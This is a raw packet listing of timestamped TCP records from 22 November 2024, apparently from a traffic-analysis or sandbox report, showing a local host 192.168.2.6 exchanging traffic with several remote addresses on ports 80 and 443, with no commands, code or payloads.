Nov 22, 2024 14:43:26.039192915 CET	443	49731	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.039268017 CET	443	49731	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.039367914 CET	49731	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.051776886 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:26.051861048 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:26.051954985 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:26.065242052 CET	49727	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:26.065260887 CET	443	49727	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:26.082086086 CET	443	49729	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.082174063 CET	443	49729	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.082283020 CET	49729	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.114695072 CET	443	49730	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.114761114 CET	443	49730	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.114923000 CET	49730	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.122078896 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.122102976 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.122121096 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.122204065 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:26.122221947 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.122240067 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.122256041 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:26.122256041 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.122287989 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:26.122314930 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:26.130424976 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.130492926 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:26.273093939 CET	49729	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.273135900 CET	443	49729	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.273152113 CET	49729	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.273168087 CET	443	49729	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.274751902 CET	49730	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.274775982 CET	443	49730	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.274792910 CET	49730	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.274799109 CET	443	49730	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.288163900 CET	49731	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.288163900 CET	49731	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.288178921 CET	443	49731	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.288189888 CET	443	49731	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.297108889 CET	49733	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.297161102 CET	443	49733	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.297235966 CET	49733	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.297826052 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:26.298753023 CET	49733	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.298768044 CET	443	49733	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.299392939 CET	49734	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.299480915 CET	443	49734	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.299550056 CET	49734	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.299937963 CET	49734	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.299973011 CET	443	49734	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.300461054 CET	49735	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.300477982 CET	443	49735	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.300523043 CET	49735	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.300621033 CET	49735	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.300642967 CET	443	49735	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.301929951 CET	49736	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.301949024 CET	443	49736	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.302001953 CET	49736	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.302113056 CET	49736	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.302126884 CET	443	49736	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.321635008 CET	443	49732	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.321708918 CET	443	49732	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.321773052 CET	49732	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.332984924 CET	49732	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.333015919 CET	443	49732	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.333045959 CET	49732	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.333065033 CET	443	49732	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.348156929 CET	49737	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.348187923 CET	443	49737	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.348258018 CET	49737	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.348601103 CET	49737	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:26.348613977 CET	443	49737	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:26.417519093 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.750709057 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.750781059 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:26.774307013 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:26.774365902 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:26.893934011 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.893995047 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.894006014 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.894124031 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.894315004 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.894364119 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.894535065 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:26.894558907 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:27.764791012 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:27.764925957 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.080960989 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.094769001 CET	443	49737	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.095288038 CET	49737	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.095303059 CET	443	49737	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.095784903 CET	49737	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.095791101 CET	443	49737	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.115258932 CET	443	49734	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.115395069 CET	443	49733	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.115786076 CET	49733	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.115803003 CET	443	49733	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.115940094 CET	49734	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.115997076 CET	443	49734	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.116215944 CET	49733	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.116223097 CET	443	49733	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.116435051 CET	49734	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.116451025 CET	443	49734	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.119695902 CET	443	49735	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.120009899 CET	49735	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.120019913 CET	443	49735	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.120412111 CET	49735	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.120417118 CET	443	49735	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.164402008 CET	443	49736	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.176806927 CET	49736	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.176845074 CET	443	49736	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.177417994 CET	49736	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.177427053 CET	443	49736	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.200654030 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.531908035 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.531971931 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.532025099 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.532064915 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.536078930 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.536132097 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.537689924 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.537735939 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.537816048 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.537862062 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.545999050 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.546049118 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.546073914 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.546092987 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.554409027 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.554447889 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.554482937 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.554496050 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.558515072 CET	443	49734	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.558573008 CET	443	49734	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.558619022 CET	49734	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.558855057 CET	49734	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.558868885 CET	443	49734	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.558881998 CET	49734	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.558887005 CET	443	49734	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.562130928 CET	49738	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.562155962 CET	443	49738	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.562200069 CET	443	49735	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.562237978 CET	49738	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.562258005 CET	443	49735	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.562302113 CET	49735	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.562421083 CET	49738	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.562421083 CET	49735	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.562427998 CET	443	49738	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.562432051 CET	443	49735	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.562458038 CET	49735	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.562469959 CET	443	49735	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.562783003 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.562828064 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.562896967 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.562937975 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.564618111 CET	49739	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.564620972 CET	443	49733	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.564646959 CET	443	49739	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.564692974 CET	443	49733	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.564706087 CET	49739	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.564734936 CET	49733	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.564834118 CET	49733	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.564841032 CET	443	49733	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.564852953 CET	49733	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.564857006 CET	443	49733	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.564927101 CET	49739	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.564949989 CET	443	49739	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.567147017 CET	49740	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.567167044 CET	443	49740	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.567234993 CET	49740	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.567354918 CET	49740	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.567363977 CET	443	49740	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.571121931 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.571187019 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.618437052 CET	443	49736	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.618546009 CET	443	49736	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.618607998 CET	49736	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.618817091 CET	49736	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.618835926 CET	443	49736	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.618849039 CET	49736	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.618855953 CET	443	49736	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.621932030 CET	49741	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.621964931 CET	443	49741	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.622045994 CET	49741	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.622220993 CET	49741	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.622231960 CET	443	49741	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.661501884 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.661658049 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.661705017 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.663930893 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.665792942 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.665862083 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.665900946 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.665946007 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.674174070 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.674237967 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.674266100 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.674310923 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.680649042 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.680700064 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.680725098 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.680762053 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.689121962 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.689181089 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.689182997 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.689220905 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.733119011 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.733181953 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.733187914 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.733227015 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.737318039 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.737370014 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.738964081 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.739010096 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.739052057 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.739094973 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.747200966 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.747241020 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.747330904 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.747405052 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.755657911 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.755719900 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.755724907 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.755820990 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.764008045 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.764053106 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.764096022 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.764128923 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.772372007 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.772424936 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.772542953 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.772587061 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.780746937 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.780793905 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.790581942 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.790638924 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.790657997 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.790702105 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.794652939 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.794712067 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.795469046 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.795615911 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.795753002 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.795753002 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.803644896 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.803699017 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.803700924 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.803738117 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.811845064 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.811894894 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.811894894 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.811933041 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.819272041 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.819319963 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.862595081 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.862617970 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.862760067 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.865931034 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.865993023 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.867039919 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.867094994 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.867197990 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.867244005 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.873759985 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.873814106 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.873907089 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.874095917 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.880425930 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.880482912 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.880548954 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.880599022 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.887193918 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.887248993 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.887322903 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.887367964 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.893909931 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.893966913 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.893978119 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.894023895 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.900572062 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.900675058 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.900676966 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.900718927 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.906912088 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.906999111 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.907083988 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.907147884 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.913007975 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.913060904 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.913073063 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.913122892 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.934463024 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.934577942 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.934736967 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.934736967 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.936304092 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.936379910 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.936413050 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.936465025 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.939814091 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.939995050 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.941188097 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.941239119 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.941478014 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.941576004 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.944730043 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.944822073 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.944855928 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.945183992 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.948318958 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.948379993 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.948411942 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.948468924 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.949954033 CET	443	49737	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.950331926 CET	443	49737	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.950390100 CET	49737	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.950438023 CET	49737	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.950459003 CET	443	49737	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.950469971 CET	49737	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.950476885 CET	443	49737	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.951988935 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.952065945 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.952125072 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.952254057 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.954510927 CET	49742	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.954534054 CET	443	49742	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.954762936 CET	49742	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.954762936 CET	49742	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:28.954792976 CET	443	49742	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:28.955408096 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.955463886 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.955571890 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.955630064 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.959055901 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.959243059 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.959258080 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.959300995 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.962593079 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.962707996 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.962747097 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.962794065 CET	49721	80	192.168.2.6	185.215.113.206
